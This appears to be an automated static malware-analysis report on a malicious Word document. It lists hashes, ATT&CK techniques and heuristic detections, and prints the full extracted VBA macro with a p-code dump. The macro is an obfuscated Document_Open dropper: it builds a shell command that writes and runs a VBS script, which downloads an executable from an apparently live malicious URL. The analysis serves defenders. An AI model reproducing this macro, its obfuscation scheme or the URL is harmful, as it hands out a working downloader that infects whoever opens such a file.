Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5f892b446feced43…

MALICIOUS

Office (OLE)

48.5 KB Created: 2018-06-29 07:46:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 3574a55dd3c4e6c1fd9b028aea456238 SHA-1: 16f8da7fccdaefb769df2539a4d1f46eafaeeb0d SHA-256: 5f892b446feced43a63e98738b5661919864116e51af69112da91bc9c0713dcd
430 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains heavily obfuscated VBA macros within its Document_Open subroutine. These macros are designed to decode a URL, download a file named 'server me crypted.exe' from 'http://tinhduyencungmaket.xyz/wp-includes/server%20me%20crypted.exe', save it as 'K2i.VBS', and then execute it. The presence of CreateObject and Shell calls, along with the obfuscated nature of the script, strongly indicates a downloader or dropper functionality.

Heuristics 11

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell Chr(161 - 94) & Chr(226 - 149) & Chr(704 - 604) & Chr(632 - 600) & Chr(804 - 757) & Chr(241 - 142) & Chr(632 - 600) & Chr(241 - 142) & Chr(704 - 604) & _
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
    Shell Chr(161 - 94) & Chr(226 - 149) & Chr(704 - 604) & Chr(632 - 600) & Chr(804 - 757) & Chr(241 - 142) & Chr(632 - 600) & Chr(241 - 142) & Chr(704 - 604) & _
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
     " & " & V5f & " E1o= ""http://tinhduyencungmaket.xyz/wp-includes/server%20me%20crypted.exe"">>K2i.VBS &" & V5f & " V1e = S6g(""Vdab`S_W@WjW"")>>K2i.VBS &" & V5f & " Set J6q = CreateObject(S6g(""_ej_^D@j_^Zffb""))>>K2i.VBS &" & V5f & " J6q.Open S6g(""YWf""), E1o, False>>K2i.VBS &" & V5f & " J6q.send ("""")>>K2i.VBS  &" & V5f & " Set S5x = CreateObject(S6g(""SVaVT@efdWS_""))>>K2i.VBS &" & V5f & " S5x.Open>>K2i.VBS &" & V5f & " S5x.Type = 1 >>K2i.VBS  &@eCHo S5x.Write J6q.ResponseBody>>K2i.VBS &"  …
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Shell Chr(161 - 94) & Chr(226 - 149) & Chr(704 - 604) & Chr(632 - 600) & Chr(804 - 757) & Chr(241 - 142) & Chr(632 - 600) & Chr(241 - 142) & Chr(704 - 604) & _
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
     " & " & V5f & " E1o= ""http://tinhduyencungmaket.xyz/wp-includes/server%20me%20crypted.exe"">>K2i.VBS &" & V5f & " V1e = S6g(""Vdab`S_W@WjW"")>>K2i.VBS &" & V5f & " Set J6q = CreateObject(S6g(""_ej_^D@j_^Zffb""))>>K2i.VBS &" & V5f & " J6q.Open S6g(""YWf""), E1o, False>>K2i.VBS &" & V5f & " J6q.send ("""")>>K2i.VBS  &" & V5f & " Set S5x = CreateObject(S6g(""SVaVT@efdWS_""))>>K2i.VBS &" & V5f & " S5x.Open>>K2i.VBS &" & V5f & " S5x.Type = 1 >>K2i.VBS  &@eCHo S5x.Write J6q.ResponseBody>>K2i.VBS &"  …
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://tinhduyencungmaket.xyz/wp-includes/server%20me%20crypted.exe Referenced by macro
    • https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTkPqJIknLjt1Xo4zxqK79tgQHFHhaMKBEth-wwmgcadtlGfRGlUQReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5594 bytes
SHA-256: 81227fdcdacd65f974d006698489e4e4404e800bcfdb59d3475ee4e170642f80
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
V5f = Chr(64) & Chr(69) & Chr(67) & Chr(72) & Chr(79)
Shell Chr(161 - 94) & Chr(226 - 149) & Chr(704 - 604) & Chr(632 - 600) & Chr(804 - 757) & Chr(241 - 142) & Chr(632 - 600) & Chr(241 - 142) & Chr(704 - 604) & _
 Chr(632 - 600) & Chr(851 - 814) & Chr(407 - 323) & Chr(901 - 832) & Chr(408 - 331) & Chr(220 - 140) & Chr(851 - 814) & _
 " & " & V5f & " E1o= ""http://tinhduyencungmaket.xyz/wp-includes/server%20me%20crypted.exe"">>K2i.VBS &" & V5f & " V1e = S6g(""Vdab`S_W@WjW"")>>K2i.VBS &" & V5f & " Set J6q = CreateObject(S6g(""_ej_^D@j_^Zffb""))>>K2i.VBS &" & V5f & " J6q.Open S6g(""YWf""), E1o, False>>K2i.VBS &" & V5f & " J6q.send ("""")>>K2i.VBS  &" & V5f & " Set S5x = CreateObject(S6g(""SVaVT@efdWS_""))>>K2i.VBS &" & V5f & " S5x.Open>>K2i.VBS &" & V5f & " S5x.Type = 1 >>K2i.VBS  &@eCHo S5x.Write J6q.ResponseBody>>K2i.VBS &" & V5f & " S5x.Position = 0 >>K2i.VBS &" & V5f & " S5x.SaveToFile V1e, 2 >>K2i.VBS &" & V5f & " S5x.Close>>K2i.VBS &" & V5f & " function S6g(M7f) >> K2i.VBS &" & V5f & " For Z2d = 1 To Len(M7f) >>K2i.VBS &" & V5f & " E9e = Mid(M7f, Z2d, 1) >>K2i.VBS &" & V5f & " E9e = Chr(Asc(E9e)- 18) >>K2i.VBS &" & V5f & " G1b = G1b + E9e >> K2i.VBS  &" & V5f & " Next >>K2i.VBS &" & V5f & " S6g = G1b >>K2i.VBS &" & V5f & " End Function >>K2i.VBS  & K2i.VBS  &dEl K2i.VBS  & tIMeOUT 13 & DROPNAME.EXE", vbHide
End Sub


' Processing file: /tmp/qstore_0qlhzcj_
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 5815 bytes
' Line #0:
' 	FuncDefn (Private Sub Shell())
' Line #1:
' 	LitDI2 0x0040 
' 	ArgsLd _B_var_V5f 0x0001 
' 	LitDI2 0x0045 
' 	ArgsLd _B_var_V5f 0x0001 
' 	Concat 
' 	LitDI2 0x0043 
' 	ArgsLd _B_var_V5f 0x0001 
' 	Concat 
' 	LitDI2 0x0048 
' 	ArgsLd _B_var_V5f 0x0001 
' 	Concat 
' 	LitDI2 0x004F 
' 	ArgsLd _B_var_V5f 0x0001 
' 	Concat 
' 	St _B_var_Chr 
' Line #2:
' 	LineCont 0x0008 40 00 01 00 71 00 01 00
' 	LitDI2 0x00A1 
' 	LitDI2 0x005E 
' 	Sub 
' 	ArgsLd _B_var_V5f 0x0001 
' 	LitDI2 0x00E2 
' 	LitDI2 0x0095 
' 	Sub 
' 	ArgsLd _B_var_V5f 0x0001 
' 	Concat 
' 	LitDI2 0x02C0 
' 	LitDI2 0x025C 
' 	Sub 
' 	ArgsLd _B_var_V5f 0x0001 
' 	Concat 
' 	LitDI2 0x0278 
' 	LitDI2 0x0258 
' 	Sub 
' 	ArgsLd _B_var_V5f 0x0001 
' 	Concat 
' 	LitDI2 0x0324 
' 	LitDI2 0x02F5 
' 	Sub 
' 	ArgsLd _B_var_V5f 0x0001 
' 	Concat 
' 	LitDI2 0x00F1 
' 	LitDI2 0x008E 
' 	Sub 
' 	ArgsLd _B_var_V5f 0x0001 
' 	Concat 
' 	LitDI2 0x0278 
' 	LitDI2 0x0258 
' 	Sub 
' 	ArgsLd _B_var_V5f 0x0001 
' 	Concat 
' 	LitDI2 0x00F1 
' 	LitDI2 0x008E 
' 	Sub 
' 	ArgsLd _B_var_V5f 0x0001 
' 	Concat 
' 	LitDI2 0x02C0 
' 	LitDI2 0x025C 
' 	Sub 
' 	ArgsLd _B_var_V5f 0x0001 
' 	Concat 
' 	LitDI2 0x0278 
' 	LitDI2 0x0258 
' 	Sub 
' 	ArgsLd _B_var_V5f 0x0001 
' 	Concat 
' 	LitDI2 0x0353 
' 	LitDI2 0x032E 
' 	Sub 
' 	ArgsLd _B_var_V5f 0x0001 
' 	Concat 
' 	LitDI2 0x0197 
' 	LitDI2 0x0143 
' 	Sub 
' 	ArgsLd _B_var_V5f 0x0001 
' 	Concat 
' 	LitDI2 0x0385 
' 	LitDI2 0x0340 
' 	Sub 
' 	ArgsLd _B_var_V5f 0x0001 
' 	Concat 
' 	LitDI2 0x0198 
' 	LitDI2 0x014B 
' 	Sub 
' 	ArgsLd _B_var_V5f 0x0001 
' 	Concat 
' 	LitDI2 0x00DC 
' 	LitDI2 0x008C 
' 	Sub 
' 	ArgsLd _B_var_V5f 0x0001 
' 	Concat 
' 	LitDI2 0x0353 
' 	LitDI2 0x032E 
' 	Sub 
' 	ArgsLd _B_var_V5f 0x0001 
' 	Concat 
' 	LitStr 0x0003 " & "
' 	Concat 
' 	Ld _B_var_Chr 
' 	Concat 
' 	LitStr 0x0056 " E1o= "http://tinhduyencungmaket.xyz/wp-includes/server%20me%20crypted.exe">>K2i.VBS &"
' 	Concat 
' 	Ld _B_var_Chr 
' 	Concat 
' 	LitStr 0x0025 " V1e = S6g("Vdab`S_W@WjW")>>K2i.VBS &"
' 	Concat 
' 	Ld _B_var_Chr 
' 	Concat 
' 	LitStr 0x0039 " Set J6q = CreateObject(S6g("_ej_^D@j_^Zffb"))>>K2i.VBS &"
' 	Concat 
' 	Ld _B_var_Chr 
' 	Concat 
' 	LitStr 0x002B " J6q.Open S6g("YWf"), E1o, False>>K2i.VBS &"
' 	Concat 
' 	Ld _B_var_Chr 
' 	Concat 
' 	LitStr 0x001A " J6q.send ("")>>K2i.VBS  &"
' 	Concat 
' 	Ld _B_var_Chr 
' 	Concat 
' 	LitStr 0x0037 " Set S5x = CreateObject(S6g("SVaVT@efdWS_"))>>K2i.VBS &"
' 	Concat 
' 	Ld _B_var_Chr 
' 	Concat 
' 	LitStr 0x0014 " S5x.Open>>K2i.VBS &"
' 	Concat 
' 	Ld _B_var_Chr 
' 	Concat 
' 	LitStr 0x0045 " S5x.Type = 1 >>K2i.VBS  &@eCHo S5x.Write J6q.ResponseBody>>K2i.VBS &"
' 	Concat 
' 	Ld _B_var_Chr 
' 	Concat 
' 	LitStr 0x001D " S5x.Position = 0 >>K2i.VBS &"
' 	Concat 
' 	Ld _B_var_Chr 
' 	Concat 
' 	LitStr 0x0022 " S5x.SaveToFile V1e, 2 >>K2i.VBS &"
' 	Concat 
' 	Ld _B_var_Chr 
' 	Concat 
' 	LitStr 0x0015 " S5x.Close>>K2i.VBS &"
' 	Concat 
' 	Ld _B_var_Chr 
' 	Concat 
' 	LitStr 0x001F " function S6g(M7f) >> K2i.VBS &"
' 	Concat 
' 	Ld _B_var_Chr 
' 	Concat 
' 	LitStr 0x0024 " For Z2d = 1 To Len(M7f) >>K2i.VBS &"
' 	Concat 
' 	Ld _B_var_Chr 
' 	Concat 
' 	LitStr 0x0023 " E9e = Mid(M7f, Z2d, 1) >>K2i.VBS &"
' 	Concat 
' 	Ld _B_var_Chr 
' 	Concat 
' 	LitStr 0x0024 " E9e = Chr(Asc(E9e)- 18) >>K2i.VBS &"
' 	Concat 
' 	Ld _B_var_Chr 
' 	Concat 
' 	LitStr 0x001E " G1b = G1b + E9e >> K2i.VBS  &"
' 	Concat 
' 	Ld _B_var_Chr 
' 	Concat 
' 	LitStr 0x0011 " Next >>K2i.VBS &"
' 	Concat 
' 	Ld _B_var_Chr 
' 	Concat 
' 	LitStr 0x0016 " S6g = G1b >>K2i.VBS &"
' 	Concat 
' 	Ld _B_var_Chr 
' 	Concat 
' 	LitStr 0x004D " End Function >>K2i.VBS  & K2i.VBS  &dEl K2i.VBS  & tIMeOUT 13 & DROPNAME.EXE"
' 	Concat 
' 	Ld id_0230 
' 	ArgsCall id_022E 0x0002 
' Line #3:
' 	EndSub 
' Line #4:

Open this report in the interactive analyzer, or submit your own file for analysis.